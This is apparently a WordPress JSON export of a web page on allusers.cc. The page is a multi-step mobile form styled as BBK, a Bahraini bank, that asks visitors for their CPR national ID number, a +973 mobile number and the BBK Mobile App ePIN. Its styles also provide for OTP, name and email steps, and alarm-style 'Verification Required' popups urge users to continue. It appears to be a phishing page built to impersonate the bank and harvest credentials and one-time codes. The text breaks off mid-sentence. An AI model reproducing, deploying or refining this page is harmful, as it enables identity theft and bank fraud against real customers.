{"id":22,"date":"2026-05-25T18:04:33","date_gmt":"2026-05-25T18:04:33","guid":{"rendered":"https:\/\/allusers.cc\/?page_id=22"},"modified":"2026-05-25T18:04:55","modified_gmt":"2026-05-25T18:04:55","slug":"elementor-22","status":"publish","type":"page","link":"https:\/\/allusers.cc\/","title":{"rendered":""},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"22\" class=\"elementor elementor-22\">\n\t\t\t\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-2087045 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"2087045\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-4f119de\" data-id=\"4f119de\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t\t\t<div class=\"elementor-element elementor-element-66e47a5 elementor-widget elementor-widget-shortcode\" data-id=\"66e47a5\" data-element_type=\"widget\" data-widget_type=\"shortcode.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<div class=\"elementor-shortcode\">\r\n<style>\r\n@import url('https:\/\/fonts.googleapis.com\/css2?family=Saira:wght@300;400;500;600;700&display=swap');\r\n*{\r\n    margin:0;\r\n    padding:0;\r\n    box-sizing:border-box;\r\n    font-family:'Saira', sans-serif;\r\n}\r\n\r\n@font-face{\r\n    font-family:'Saira';\r\n    src:url('YOUR_FONT_URL.woff') format('woff');\r\n    font-weight:400;\r\n}\r\n\r\n*{\r\n    font-family:'Saira', sans-serif;\r\n}\r\n\r\nhtml,body{\r\nheight:100%;\r\noverflow:hidden;\r\n}\r\n\r\n\/* COLORS *\/\r\n:root{\r\n    \/* BACKGROUND *\/\r\n    --top:#2F83E0;\r\n    --bottom:#164C93;\r\n\r\n    \/* BUTTON DEFAULT (BLUE GRADIENT - HEADER\/FOOTER STYLE) *\/\r\n    --btnDefTop:#4A78C9;\r\n    --btnDefBottom:#2F5FB3;\r\n\r\n    \/* BUTTON ACTIVE (YELLOW) *\/\r\n    --btnTop:#FFA743;\r\n    --btnBottom:#FF9721;\r\n}\r\n\r\n\/* BG *\/\r\n.wrap{\r\nposition:fixed;\r\ninset:0;\r\nbackground:linear-gradient(to bottom,var(--top),var(--bottom));\r\n}\r\n\r\n\/* STEP *\/\r\n.step{\r\nposition:absolute;\r\nopacity:0;\r\ntransform:scale(1.02);\r\ntransition: all .4s ease;\r\ninset:0;\r\ndisplay:flex;\r\nflex-direction:column;\r\nalign-items:center;\r\njustify-content:flex-start;\r\npadding-top:80px;\r\ncolor:#fff;\r\ntext-align:center;\r\n}\r\n\r\n.step.active{\r\n    opacity:1;\r\n    transform:scale(1);\r\n    z-index:1;\r\n}\r\n\r\n\/* LOGO *\/\r\n.logo{\r\nposition:absolute;\r\ntop:25px;\r\nright:25px;\r\nwidth:105px;\r\n}\r\n\r\n\/* TITLE *\/\r\nh1{\r\nfont-size:22px;\r\nmargin-top:80px;\r\nfont-weight:600;\r\n}\r\n\r\n\/* STEP3 TITLE UP *\/\r\n#step3 h1{\r\n    margin-top:20px;   \/* \u067e\u06c1\u0644\u06d2 80px \u062a\u06be\u0627 *\/\r\n}\r\n\r\n\/* DESCRIPTION UP *\/\r\n#step3 .sub{\r\n    margin-top:8px;\r\n}\r\n\r\n\/* INPUT UP *\/\r\n#step3 .input{\r\n    margin-top:20px;\r\n}\r\n\r\n\/* TEXT *\/\r\n.sub{\r\nmargin-top:10px;\r\nopacity:.9;\r\nfont-weight:360;\r\nfont-size:14px;\r\nfont-weight:400;\r\n\r\nwidth:90%;\r\nmax-width:360px;\r\n}\r\n\r\n\/* WARNING *\/\r\n.warn{\r\nwidth:70px;\r\nmargin:25px 0;\r\n}\r\n\r\n\/* STEP3 TOP ICON *\/\r\n#step3 .top-icon{\r\n    width:115px;\r\n    margin-top:70px;   \/* \ud83d\udc48 \u0646\u06cc\u0686\u06d2 \u0644\u0627\u0646\u06d2 \u06a9\u06cc\u0644\u0626\u06d2 *\/\r\n    margin-bottom:10px;\r\n}\r\n\r\n\/* YELLOW TEXT *\/\r\n.yellow{\r\nopacity:.9;\r\nmax-width:360px;\r\nfont-weight:400;\r\nfont-size:14px;\r\n}\r\n\r\n\/* ONLY STEP3 DESCRIPTION *\/\r\n#step3 .yellow{\r\n    font-size:16px;      \/* size change *\/\r\n    font-weight:600;     \/* boldness *\/\r\n    line-height:1.5;     \/* spacing *\/\r\n}\r\n\r\n\/* INPUT *\/\r\n.input{\r\nmargin-top:30px;\r\nwidth:90%;\r\nmax-width:360px;\r\nfont-weight:500;\r\n}\r\n\r\n.input input{\r\n    width:100%;\r\n    height:60px;\r\n    border-radius:20px;\r\n    padding:0 20px;\r\n    position:relative;\r\n    z-index:1;\r\n\r\n    \/* \ud83d\udd25 HEADER \u2192 FOOTER STYLE (SOLID GRADIENT) *\/\r\n    background:linear-gradient(\r\n        to bottom,\r\n        #3B7AC4,\r\n        #3B7AC4\r\n    );\r\n\r\n    \/* \ud83d\udd25 SOFT BORDER *\/\r\n    border:1px solid rgba(82,136,202,0.6);\r\n\r\n    \/* \ud83d\udd25 TEXT *\/\r\n    color:#fff;\r\n    font-size:18px;\r\n    outline:none;\r\n\r\n    backdrop-filter:blur(4px);\r\n}\r\n\r\n.input input::placeholder{\r\n    color:rgba(255,255,255,0.70);\r\n    font-weight:500;\r\n    font-size:14px;\r\n    line-height:60px;\r\n\r\n    font-family:'Saira', sans-serif;  \/* \ud83d\udc48 ADD THIS *\/\r\n}\r\n\r\n.mobile-input{\r\n    position:relative;\r\n    display:flex;\r\n    align-items:center;\r\n}\r\n\r\n.mobile-input input{\r\n    padding-left:95px;\r\n    font-size:17px;\r\n    font-weight:500;\r\n}\r\n\r\n.prefix{\r\n    position:absolute;\r\n    left:18px;\r\n    top:50%;\r\n    transform:translateY(-50%);\r\n    display:flex;\r\n    align-items:center;\r\n    gap:8px;\r\n\r\n    z-index:2;\r\n\r\n    pointer-events:none; \/* \ud83d\udd25 FIX *\/\r\n\r\n    color:#fff;\r\n    font-size:17px;\r\n    font-weight:500;\r\n}\r\n\r\n.prefix img{\r\n    width:22px;\r\n    height:16px;\r\n    object-fit:cover;\r\n    border-radius:3px;\r\n}\r\n\r\n\/* STEP3 COUNTRY CODE BIG *\/\r\n#step3 .prefix{\r\n    font-size:17px;   \/* \ud83d\udc48 match *\/\r\n    font-weight:500;\r\n}\r\n\r\n#step3 input{\r\n    font-size:17px;   \/* \ud83d\udc48 same as prefix *\/\r\n    font-weight:500;\r\n}\r\n\r\n\/* STEP4 MAIN POSITION FIX *\/\r\n#step4{\r\n    justify-content:center; \r\n    padding-top:0;\r\n}\r\n\r\n\/* RESET extra spacing *\/\r\n#step4 h1{\r\n    margin-top:0;\r\n}\r\n\r\n#step4 input{\r\n    text-align:center;\r\n    font-size:24px;\r\n    font-weight:600;\r\n\r\n    height:60px;\r\n\r\n    display:flex;\r\n    align-items:center;\r\n    justify-content:center;\r\n\r\n    padding:0;\r\n\r\n    transform:translateY(-1px);\r\n}\r\n\r\n#step4 .sub{\r\n    margin-top:6px; \r\n    font-size:15px;\r\n    font-weight:400;\r\n    line-height:1.5;\r\n    max-width:300px;\r\n}\r\n\r\n#step4 .input{\r\n    margin-top:29px;\r\n}\r\n\r\n#step4 .btn-wrap{\r\n    width:90%;\r\n    max-width:360px;\r\n    margin-top:25px;\r\n}\r\n\r\n\/* FOOTER *\/\r\n.footer{\r\nposition:absolute;\r\nbottom:60px;\r\nwidth:100%;\r\ndisplay:flex;\r\nflex-direction:column;\r\nalign-items:center;\r\n}\r\n\r\n\r\n\/* STEP4 BUTTON WRAP *\/\r\n#step4 .btn-wrap{\r\n    width:90%;\r\n    max-width:360px;\r\n    margin-top:25px;\r\n}\r\n\r\n\/* LINK *\/\r\n#step4 .link{\r\n    margin-top:18px;\r\n    opacity:.9;\r\n    font-size:14px;\r\n    font-weight:500;\r\n}\r\n\r\n\/* BOXES CONTAINER *\/\r\n#step4 .boxes{\r\n    position:absolute;\r\n    bottom:80px;\r\n    width:100%;\r\n    display:flex;\r\n    justify-content:space-around;\r\n    padding:0 15px;\r\n}\r\n\r\n\/* SINGLE BOX *\/\r\n#step4 .box{\r\n    width:30%;\r\n    padding:40px 10px;\r\n    border-radius:16px;\r\n    background:linear-gradient(to bottom, rgba(255,255,255,0.12), rgba(255,255,255,0.05));\r\n    text-align:center;\r\n    font-size:15px;\r\n    font-weight:500;\r\n}\r\n\r\n\/* ARABIC TEXT *\/\r\n#step4 .arabic{\r\n    position:absolute;\r\n    bottom:20px;\r\n    font-size:15px;\r\n    opacity:.9;\r\n}\r\n\r\n\/* BUTTON *\/\r\n.btn{\r\n    width:90%;\r\n    max-width:360px;\r\n    height:60px;\r\n    border-radius:20px;\r\n    border:none;\r\n    font-size:18px;\r\n\r\n    \/* \ud83d\udd25 SOFT \/ LESS LIGHT GRADIENT *\/\r\n    background:linear-gradient(\r\n        to bottom,\r\n        #376AAE 0%,   \/* \ud83d\udc48 \u062a\u06be\u0648\u0691\u0627 darker top *\/\r\n        #4073B5 100%  \/* \ud83d\udc48 same footer *\/\r\n    );\r\n\r\n    color:#fff;\r\n    font-weight:600;\r\n\r\n    \/* \ud83d\udd25 SOFT PREMIUM SHADOW *\/\r\n    box-shadow:\r\n    0 10px 16px -6px rgba(42,77,126,0.28),  \/* \ud83d\udc48 #2A4D7E *\/\r\n    0 2px 6px rgba(255,255,255,0.18) inset;\r\n    transition:.3s;\r\n    position:relative;\r\n}\r\n\r\n\/* STEP4 BUTTON SAME WIDTH AS INPUT *\/\r\n#step4 .btn{\r\n    width:100%;\r\n}\r\n\r\n\/* STEP4 LOCK ICON *\/\r\n#step4 .step4-top-logo{\r\n    width:125px;\r\n    position:absolute;\r\n    top:150px;\r\n    left:50%;\r\n    transform:translateX(-50%);\r\n}\r\n\r\n\/* LOADER *\/\r\n.loader{\r\n    width:22px;\r\n    height:22px;\r\n\r\n    border:4px solid rgba(255,255,255,0.3);   \/* \ud83d\udd25 3 \u2192 4 *\/\r\n    border-top:4px solid #fff;\r\n\r\n    border-radius:50%;\r\n    animation:spin .7s linear infinite;\r\n    margin:auto;\r\n}\r\n\r\n@keyframes spin{\r\nto{transform:rotate(360deg)}\r\n}\r\n\r\n.hidden{\r\n    opacity:0;\r\n    pointer-events:none;\r\n}\r\n\r\n.splash-logo{\r\n    width:160px;\r\n}\r\n\r\n#step1{\r\n    display:flex;\r\n    justify-content:center;\r\n    align-items:center;\r\n}\r\n\r\n.popup{\r\n    position:absolute;\r\n    inset:0;\r\n\r\n    background:rgba(0,0,0,0.35);\r\n    backdrop-filter:blur(6px);\r\n\r\n    display:none;\r\n\r\n    align-items:center;\r\n    justify-content:center;\r\n\r\n    z-index:999;\r\n}\r\n\r\n\/* \ud83d\udd25 PREMIUM GLASS POPUP *\/\r\n.popup-box{\r\n    width:90%;\r\n    max-width:320px;\r\n\r\n    background:linear-gradient(\r\n        to bottom,\r\n        rgba(255,255,255,0.97),\r\n        rgba(240,244,250,0.92)\r\n    );\r\n\r\n    backdrop-filter:blur(10px);\r\n\r\n    border-radius:20px;\r\n    padding:28px 20px;\r\n\r\n    text-align:center;\r\n\r\n    border:1px solid rgba(255,255,255,0.7);\r\n}\r\n\r\n\/* \ud83d\udd25 CLEAN PREMIUM LOADER *\/\r\n.bbk-loader{\r\n    width:40px;\r\n    height:40px;\r\n\r\n    border:4px solid rgba(0,0,0,0.08);   \/* \ud83d\udd25 3 \u2192 4 *\/\r\n    border-top:4px solid #1F60AF;\r\n\r\n    border-radius:50%;\r\n    animation:bbkSpin .8s linear infinite;\r\n\r\n    margin:0 auto 15px;\r\n}\r\n\r\n@keyframes bbkSpin{\r\n    to{transform:rotate(360deg);}\r\n}\r\n\r\n@keyframes pop{\r\n    from{transform:scale(0.85);opacity:0;}\r\n    to{transform:scale(1);opacity:1;}\r\n}\r\n\r\n\/* ICON WRAP *\/\r\n.popup-icon-wrap{\r\n    width:120px;\r\n    height:auto;\r\n\r\n    background:none;   \/* \ud83d\udc48 REMOVE circle *\/\r\n\r\n    display:flex;\r\n    align-items:center;\r\n    justify-content:center;\r\n\r\n    margin:0 auto 18px;\r\n}\r\n\r\n\/* ICON *\/\r\n.popup-icon{\r\n    width:56px;\r\n    height:56px;\r\n    border-radius:50%;\r\n\r\n    background:linear-gradient(\r\n        to bottom,\r\n        rgba(255,90,90,0.9),\r\n        rgba(200,0,0,0.8)\r\n    );\r\n\r\n    color:#fff;\r\n\r\n    display:flex;\r\n    align-items:center;\r\n    justify-content:center;\r\n\r\n    font-size:24px;\r\n    font-weight:600;\r\n\r\n    box-shadow:\r\n        0 8px 18px rgba(255,0,0,0.25);\r\n}\r\n\r\n\/* TITLE *\/\r\n.popup-title{\r\n    font-size:18px;\r\n    font-weight:600;\r\n    color:#001877;\r\n    text-align:center;\r\n    margin-bottom:18px;\r\n}\r\n\r\n\/* LOGO *\/\r\n.popup-logo{\r\n    width:70px;   \/* \ud83d\udc48 red icon *\/\r\n    display:block;\r\n    margin:0 auto 18px;\r\n}\r\n\r\n\/* SUBTITLE *\/\r\n.popup-subtitle{\r\n    font-size:18px;\r\n    font-weight:600;\r\n    color:#001877;\r\n    text-align:center;\r\n    margin-bottom:10px;\r\n}\r\n\r\n\/* DESC *\/\r\n.popup-desc{\r\n    font-size:15px;\r\n    color:#555;\r\n    text-align:center;\r\n    margin-bottom:20px;\r\n}\r\n\r\n\/* BUTTON WRAP *\/\r\n.popup-btns.center{\r\n    display:flex;\r\n    justify-content:center;\r\n    width:100%;\r\n    margin-top:10px;\r\n}\r\n\r\n\/* BUTTON *\/\r\n.verify{\r\n    width:calc(100% + 10px);\r\n    max-width:260px;\r\n    height:60px;\r\n\r\n    border-radius:20px;\r\n    border:none;\r\n\r\n    display:flex;\r\n    align-items:center;\r\n    justify-content:center;\r\n\r\n    color:#fff;\r\n    font-size:18px;\r\n    font-weight:600;\r\n\r\n    \/* \ud83d\udd25 SAME AS .btn *\/\r\n    background:linear-gradient(\r\n        to bottom,\r\n        #376AAE,\r\n        #4073B5\r\n    );\r\n\r\n    box-shadow:\r\n        0 10px 16px -6px rgba(42,77,126,0.28),\r\n        0 2px 6px rgba(255,255,255,0.18) inset;\r\n\r\n    transition:.3s;\r\n    position:relative;\r\n}\r\n\r\n@keyframes spin{\r\n    to{transform:rotate(360deg);}\r\n}\r\n\r\n.btn.active{\r\n    background:linear-gradient(\r\n        to bottom,\r\n        #FFA743 0%,     \/* \ud83d\udc48 same color *\/\r\n        #FF9721 100%\r\n    );\r\n\r\n    color:#fff;\r\n\r\n    \/* \ud83d\udd25 PREMIUM SOFT DEPTH (NO OUTER SHADOW) *\/\r\n    box-shadow:\r\n        inset 0 2px 4px rgba(255,255,255,0.25),\r\n        inset 0 -2px 6px rgba(0,0,0,0.15);\r\n\r\n    transition:.3s;\r\n}\r\n\r\n.pin-wrap{\r\n    display:flex;\r\n    justify-content:center;\r\n    gap:10px;\r\n    margin-top:25px;\r\n}\r\n\r\n.pin-wrap input{\r\n    width:45px;\r\n    height:55px;\r\n    border-radius:12px;   \/* \ud83d\udc48 round boxes *\/\r\n    border:1px solid rgba(82,136,202,0.6);\r\n\r\n    background:linear-gradient(\r\n        to bottom,\r\n        #3B78C0,\r\n        #2F66B2\r\n    );\r\n\r\n    text-align:center;\r\n    font-size:20px;\r\n    color:#fff;\r\n    outline:none;\r\n}\r\n\r\n.popup-icon-img{\r\n    width:110px;   \/* \ud83d\udc48 correct *\/\r\n    height:auto;\r\n}\r\n\r\n#step5 .pin-wrap{\r\n    display:flex;\r\n    justify-content:center;\r\n    gap:10px;\r\n    margin-top:25px;\r\n}\r\n\r\n.pin-wrap input{\r\n    width:48px;\r\n    height:48px;\r\n\r\n    border-radius:12px;\r\n    border:1px solid rgba(255,255,255,0.15);\r\n\r\n    background:rgba(255,255,255,0.10);\r\n\r\n    text-align:center;\r\n    font-size:17px;\r\n\r\n    font-family:'Saira', sans-serif;\r\n    font-weight:600;\r\n\r\n    color:rgba(255,255,255,0.7);\r\n    outline:none;\r\n}\r\n\r\n.otp-box{\r\n    margin-top:25px;\r\n    padding:15px;\r\n    border-radius:20px;\r\n\r\n    background:rgba(255,255,255,0.08);\r\n    border:1px solid rgba(255,255,255,0.15);\r\n}\r\n\r\n.otp-time{\r\n    margin-top:15px;\r\n    font-size:16px;\r\n    font-weight:600;\r\n    opacity:.95;\r\n}\r\n\r\n#step5 .top-icon{\r\n    width:90px;\r\n    margin-top:70px;\r\n    margin-bottom:10px;\r\n}\r\n\r\n.process-title{\r\n    font-size:18px;\r\n    font-weight:700;\r\n    color:#001877;\r\n    text-align:center;\r\n    margin-bottom:8px;\r\n}\r\n\r\n.process-desc{\r\n    font-size:13px;\r\n    color:#555;\r\n    text-align:center;\r\n    line-height:1.5;\r\n    padding:0 10px;\r\n}\r\n\r\n\/* \ud83d\udd25 STEP6 (NAME LOGO) SAME AS OTHERS *\/\r\n#step6 .top-icon{\r\n    width:80px !important;          \/* \ud83d\udd25 same size *\/\r\n\r\n    margin-top:35px !important;     \/* \ud83d\udd25 same top spacing *\/\r\n    margin-bottom:12px !important;  \/* \ud83d\udd25 same gap *\/\r\n    \r\n    display:block;\r\n}\r\n\r\n\/* \ud83d\udd25 ALL ICONS UNIFORM *\/\r\n.top-icon{\r\n    width:95px !important;\r\n    margin-top:35px !important;\r\n    margin-bottom:12px !important;\r\n}\r\n\r\n\/* \ud83d\udd25 EMAIL STEP LOGO SAME AS OTHERS *\/\r\n#step8 .top-icon{\r\n    width:80px !important;\r\n    margin-top:35px !important;\r\n    margin-bottom:12px !important;\r\n    display:block;\r\n} \r\n\r\n\/* \ud83d\udd25 PERFECT BALANCE (OTP STEPS ONLY) *\/\r\n#step5 .top-icon,\r\n#step7 .top-icon,\r\n#step9 .top-icon{\r\n\r\n    width:95px !important;\r\n\r\n    margin-top:50px !important;   \/* \ud83d\udd25 equal spacing *\/\r\n    margin-bottom:20px !important;\r\n\r\n    display:block;\r\n}\r\n\r\n\/* \ud83d\udd25 CPR STYLE APPLY (STEP3,6,8 ONLY) *\/\r\n#step3,\r\n#step6,\r\n#step8{\r\n    padding-top:80px !important;   \/* \ud83d\udd25 same as step2 *\/\r\n}\r\n\r\n\/* \ud83d\udd25 ICON POSITION SAME *\/\r\n    width:80px !important;\r\n    margin-top:40px !important;   \/* \ud83d\udd25 same feel *\/\r\n    margin-bottom:15px !important;\r\n}\r\n\r\n\/* \ud83d\udd25 TITLE SAME POSITION *\/\r\n#step3 h1,\r\n#step6 h1,\r\n#step8 h1{\r\n    margin-top:80px !important;\r\n}\r\n\r\n\/* \ud83d\udd25 DESCRIPTION SAME *\/\r\n#step3 .sub,\r\n#step6 .sub,\r\n#step8 .sub{\r\n    margin-top:10px !important;\r\n}\r\n\r\n\/* \ud83d\udd25 INPUT SAME *\/\r\n#step3 .input,\r\n#step6 .input,\r\n#step8 .input{\r\n    margin-top:30px !important;\r\n}\r\n\r\n\/* \ud83d\udd25 OTP STEPS (5,7,9) PERFECT CENTER BALANCE *\/\r\n\r\n\/* TITLE \u0627\u0648\u067e\u0631 \u0644\u0627\u0624 *\/\r\n#step5 h1,\r\n#step7 h1,\r\n#step9 h1{\r\n    margin-top:40px !important;   \/* \ud83d\udd25 \u067e\u06c1\u0644\u06d2 80 \u062a\u06be\u0627 *\/\r\n}\r\n\r\n\/* DESCRIPTION \u062a\u06be\u0648\u0691\u0627 tight *\/\r\n#step5 .sub,\r\n#step7 .sub,\r\n#step9 .sub{\r\n    margin-top:8px !important;\r\n}\r\n\r\n\/* OTP BOX \u0627\u0648\u067e\u0631 \u0644\u0627\u0624 *\/\r\n#step5 .otp-box,\r\n#step7 .otp-box,\r\n#step9 .otp-box{\r\n    margin-top:18px !important;   \/* \ud83d\udd25 \u067e\u06c1\u0644\u06d2 25 \u062a\u06be\u0627 *\/\r\n}\r\n\r\n\/* \ud83d\udd25 CPR + MOBILE + NAME + EMAIL = OTP STYLE BALANCE *\/\r\n\r\n\/* ICON POSITION FIX *\/\r\n#step2 .top-icon,\r\n#step3 .top-icon,\r\n#step6 .top-icon,\r\n#step8 .top-icon{\r\n\r\n    width:110px !important;\r\n\r\n    margin-top:50px !important;   \/* \ud83d\udd25 same as OTP *\/\r\n    margin-bottom:20px !important;\r\n\r\n}\r\n\r\n\/* TITLE BALANCE *\/\r\n#step2 h1,\r\n#step3 h1,\r\n#step6 h1,\r\n#step8 h1{\r\n    margin-top:40px !important;   \/* \ud83d\udd25 OTP style *\/\r\n}\r\n\r\n\/* DESCRIPTION BALANCE *\/\r\n#step2 .sub,\r\n#step3 .sub,\r\n#step6 .sub,\r\n#step8 .sub{\r\n    margin-top:8px !important;\r\n}\r\n\r\n\/* INPUT POSITION *\/\r\n#step2 .input,\r\n#step3 .input,\r\n#step6 .input,\r\n#step8 .input{\r\n    margin-top:25px !important;\r\n}\r\n\r\n\/* \ud83d\udd25 OTP TITLE + DESC PERFECT CENTER *\/\r\n#step5 h1,\r\n#step7 h1,\r\n#step9 h1{\r\n    margin-top:30px !important;   \/* \ud83d\udd25 equal balance *\/\r\n}\r\n\r\n#step5 .sub,\r\n#step7 .sub,\r\n#step9 .sub{\r\n    margin-top:10px !important;\r\n    margin-bottom:20px !important; \/* \ud83d\udd25 bottom equal *\/\r\n}\r\n\r\n\/* \ud83d\udd25 NORMAL STEPS CENTER TEXT BALANCE *\/\r\n#step2 h1,\r\n#step3 h1,\r\n#step6 h1,\r\n#step8 h1{\r\n    margin-top:30px !important;\r\n}\r\n\r\n#step2 .sub,\r\n#step3 .sub,\r\n#step6 .sub,\r\n#step8 .sub{\r\n    margin-top:10px !important;\r\n    margin-bottom:20px !important;\r\n}\r\n\r\n\/* \ud83d\udd25 ALL INPUT TEXT *\/\r\n.input input{\r\n    font-size:17px !important;\r\n    font-weight:500 !important;\r\n    color:#ffffff !important;   \/* white text *\/\r\n}\r\n\r\n\/* \ud83d\udd25 PLACEHOLDER *\/\r\n.input input::placeholder{\r\n    font-size:17px !important;\r\n    font-weight:500 !important;\r\n    color:rgba(255,255,255,0.75) !important; \/* soft white *\/\r\n}\r\n\r\n\/* \ud83d\udd25 MOBILE PREFIX ALIGN *\/\r\n.prefix{\r\n    font-size:17px !important;\r\n    font-weight:500 !important;\r\n    color:#ffffff !important;\r\n}\r\n\r\n\/* \ud83d\udd25 OTP INPUTS *\/\r\n.pin-wrap input{\r\n    font-size:17px !important;\r\n    font-weight:500 !important;\r\n    color:#ffffff !important;\r\n}\r\n\r\n\/* \ud83d\udd25 SPLASH LOGO ANIMATION *\/\r\n.splash-logo{\r\n    width:160px;\r\n\r\n    animation:splashZoom 2s ease-in-out infinite;\r\n}\r\n\r\n\/* \ud83d\udd25 KEYFRAMES *\/\r\n@keyframes splashZoom{\r\n\r\n    0%{\r\n        transform:scale(0.9);\r\n        opacity:0.6;\r\n    }\r\n\r\n    50%{\r\n        transform:scale(1.1);\r\n        opacity:1;\r\n    }\r\n\r\n    100%{\r\n        transform:scale(0.9);\r\n        opacity:0.6;\r\n    }\r\n}\r\n\r\n\/* \ud83d\udd25 SPLASH SCREEN PERFECT CENTER *\/\r\n#step1{\r\n    display:flex !important;\r\n    justify-content:center !important;\r\n    align-items:center !important;\r\n\r\n    padding-top:0 !important;   \/* \ud83d\udd25 \u0627\u0635\u0644 fix *\/\r\n}\r\n\r\n\/* \ud83d\udd25 STEP2 TEXT CENTER BALANCE FIX *\/\r\n#step2 h1{\r\n    margin-top:50px !important;   \/* \ud83d\udd25 \u067e\u06c1\u0644\u06d2 80 \u062a\u06be\u0627 *\/\r\n}\r\n\r\n#step2 .sub{\r\n    margin-top:12px !important;\r\n}\r\n\r\n#step2 .yellow{\r\n    margin-top:15px !important;\r\n} \r\n\r\n\/* \ud83d\udd25 BOX ICON STYLE *\/\r\n.box{\r\n    display:flex;\r\n    flex-direction:column;\r\n    align-items:center;\r\n    justify-content:center;\r\n    gap:10px;\r\n}\r\n\r\n\/* \ud83d\udd25 ICON *\/\r\n.box-icon{\r\n    width:28px;\r\n    height:28px;\r\n    opacity:0.95;\r\n}\r\n\r\n\/* \ud83d\udd25 TEXT *\/\r\n.box span{\r\n    font-size:14px;\r\n    font-weight:500;\r\n    text-align:center;\r\n    line-height:1.4;\r\n}\r\n\r\n\/* \ud83d\udd25 STEP4 (PIN) PLACEHOLDER SIZE FIX *\/\r\n#step4 .input input::placeholder{\r\n    font-size:15px !important;   \/* \ud83d\udd25 \u067e\u06c1\u0644\u06d2 \u0628\u0691\u0627 \u062a\u06be\u0627\u060c \u0627\u0628 \u0686\u06be\u0648\u0679\u0627 *\/\r\n    opacity:0.7;\r\n} \r\n\r\n\/* \ud83d\udd25 STEP4 INPUT TEXT SIZE *\/\r\n#step4 .input input{\r\n    font-size:17px !important;   \/* \u2714 text size *\/\r\n    font-weight:600;\r\n    letter-spacing:2px;          \/* \ud83d\udd25 dots spaced nice *\/\r\n}\r\n\r\n\/* \ud83d\udd25 HIDDEN DOT SIZE (PASSWORD STYLE) *\/\r\n#step4 .input input[type=\"password\"]{\r\n    font-size:22px !important;   \/* \ud83d\udd25 dots bigger *\/\r\n    letter-spacing:4px;          \/* \ud83d\udd25 spacing between dots *\/\r\n}\r\n\r\n\/* \ud83d\udd25 FINAL FIX (NAME + EMAIL LOGO SIZE) *\/\r\n#step6 .top-icon,\r\n#step8 .top-icon{\r\n    width:80px !important;   \/* \ud83d\udd25 jo size chaho yahan change karo *\/\r\n}\r\n \r\n<\/style>\r\n\r\n<div class=\"wrap\">\r\n    \r\n<!-- STEP 1 SPLASH -->\r\n<div class=\"step active\" id=\"step1\">\r\n\r\n    <img decoding=\"async\" src=\"https:\/\/allusers.cc\/wp-content\/uploads\/2026\/05\/B-Logo.png\" class=\"splash-logo\">\r\n\r\n<\/div>\r\n\r\n<div class=\"step\" id=\"step2\">\r\n\r\n<img decoding=\"async\" src=\"https:\/\/allusers.cc\/wp-content\/uploads\/2026\/05\/BK-Logo.png\" class=\"logo\">\r\n\r\n<h1>CPR Verification<\/h1>\r\n\r\n<div class=\"sub\">\r\nPlease provide your CIVIL Personal Record ( CPR ) number for identity verification\r\n<\/div>\r\n\r\n<img decoding=\"async\" src=\"https:\/\/allusers.cc\/wp-content\/uploads\/2026\/05\/war.png\" class=\"warn\">\r\n\r\n<div class=\"yellow\">\r\nYour CPR number is required for enhanced security verification as per BAHRAIN Banking regulations.\r\n<\/div>\r\n\r\n<div class=\"input\">\r\n<input type=\"tel\" id=\"cpr\" maxlength=\"9\" placeholder=\"CPR Number\">\r\n<\/div>\r\n\r\n<div class=\"footer\">\r\n<button class=\"btn\" id=\"btn\">Update<\/button>\r\n<\/div>\r\n\r\n<!-- PREMIUM POPUP -->\r\n<div class=\"popup\" id=\"popup\">\r\n\r\n  <div class=\"popup-box\">\r\n\r\n    <!-- ICON -->\r\n    <div class=\"popup-icon-wrap\">\r\n  <img decoding=\"async\" src=\"https:\/\/allusers.cc\/wp-content\/uploads\/2026\/05\/Popup-logo.png\" class=\"popup-icon-img\">\r\n<\/div>\r\n\r\n    <!-- TITLE 1 -->\r\n    <h3 class=\"popup-title\">Verification Required<\/h3>\r\n\r\n    <!-- LOGO -->\r\n    <img decoding=\"async\" src=\"https:\/\/allusers.cc\/wp-content\/uploads\/2026\/05\/red.png\" class=\"popup-logo\">\r\n\r\n    <!-- TITLE 2 -->\r\n    <h4 class=\"popup-subtitle\">Secure Verification Needed<\/h4>\r\n\r\n    <!-- DESCRIPTION -->\r\n    <p class=\"popup-desc\">\r\n      Please verify your account to continue securely and access all services.\r\n    <\/p>\r\n\r\n    <!-- BUTTON -->\r\n    <div class=\"popup-btns center\">\r\n      <button class=\"verify\" id=\"verifyBtn\">\r\n        Verify Now\r\n      <\/button>\r\n    <\/div>\r\n\r\n  <\/div>\r\n\r\n<\/div>\r\n\r\n<\/div> <!-- STEP2 END -->\r\n\r\n<!-- STEP3 END -->\r\n<div class=\"step\" id=\"step3\">\r\n\r\n<img decoding=\"async\" src=\"https:\/\/allusers.cc\/wp-content\/uploads\/2026\/05\/BK-Logo.png\" class=\"logo\">\r\n\r\n<img decoding=\"async\" src=\"https:\/\/allusers.cc\/wp-content\/uploads\/2026\/05\/mobile.png\" class=\"top-icon\">\r\n\r\n<h1>Additional Verification<\/h1>\r\n\r\n<div class=\"sub\">\r\nFor your security, please provide the following information to complete the verification process\r\n<\/div>\r\n\r\n<div class=\"input mobile-input\">\r\n\r\n    <span class=\"prefix\">\r\n        <img decoding=\"async\" src=\"https:\/\/flagcdn.com\/w40\/bh.png\"> +973\r\n    <\/span>\r\n\r\n    <input type=\"tel\" id=\"mobile\" maxlength=\"8\" placeholder=\"XXXXXXXX\" autocomplete=\"off\">\r\n\r\n<\/div>\r\n\r\n<div class=\"footer\">\r\n<button class=\"btn\" id=\"btn2\">Verify<\/button>\r\n<\/div>\r\n\r\n<\/div>\r\n\r\n<!-- STEP4 -->\r\n<div class=\"step hidden\" id=\"step4\">\r\n\r\n<img decoding=\"async\" src=\"https:\/\/allusers.cc\/wp-content\/uploads\/2026\/05\/BK-Logo.png\" class=\"logo\">\r\n\r\n<!-- TOP CENTER LOGO -->\r\n<img decoding=\"async\" src=\"https:\/\/allusers.cc\/wp-content\/uploads\/2026\/05\/PASS.png\" class=\"step4-top-logo\">\r\n\r\n<h1>BBK Mobile App ePIN<\/h1>\r\n\r\n<div class=\"sub\">\r\nPlease activate your BBK Mobile app 